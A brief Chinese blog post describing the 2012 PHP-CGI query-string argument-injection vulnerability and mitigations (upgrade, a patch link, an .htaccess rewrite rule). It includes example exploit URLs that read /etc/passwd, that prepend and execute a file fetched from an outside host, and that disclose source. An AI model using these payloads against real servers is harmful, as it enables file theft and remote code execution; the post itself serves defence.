防止PHP CGI远程任意代码执行漏洞一例

又发现了一例PHP挂载CGI的环境下,远程执行任意代码的漏洞。

主要原因是:PHP做了防范,CGI在SAPI下无法使用-r,-f等直接执行命令的参数。

例子,

http://demo.com/do.php?-dauto_prepend_file%3d/etc/passwd+-n

http://demo.com/do.php?-dallow_url_include%3don+-dauto_prepend_file%3d//sjolzy.cn/a.txt

http://demo.com/do.php?-s

受影响的平台:APACHE+MOD_CGI+PHP-CGI模式。

 

防治方法是:

1. 升级到官方最新版

2. 下载这个漏洞的临时补丁http://eindbazen.net/wp-content/uploads/2012/05/CVE-2012-1823-mitigation.tar.gz

3. 我目前的处理办法:.htacces文件s里修改

RewriteCond %{QUERY_STRING} ^(%2d|-)[^=]+$ [NC]
RewriteRule ^(.*) $1? [L]

对于这个昨天才爆出的PHP CGI远程任意代码执行漏洞,深受其害啊!Orz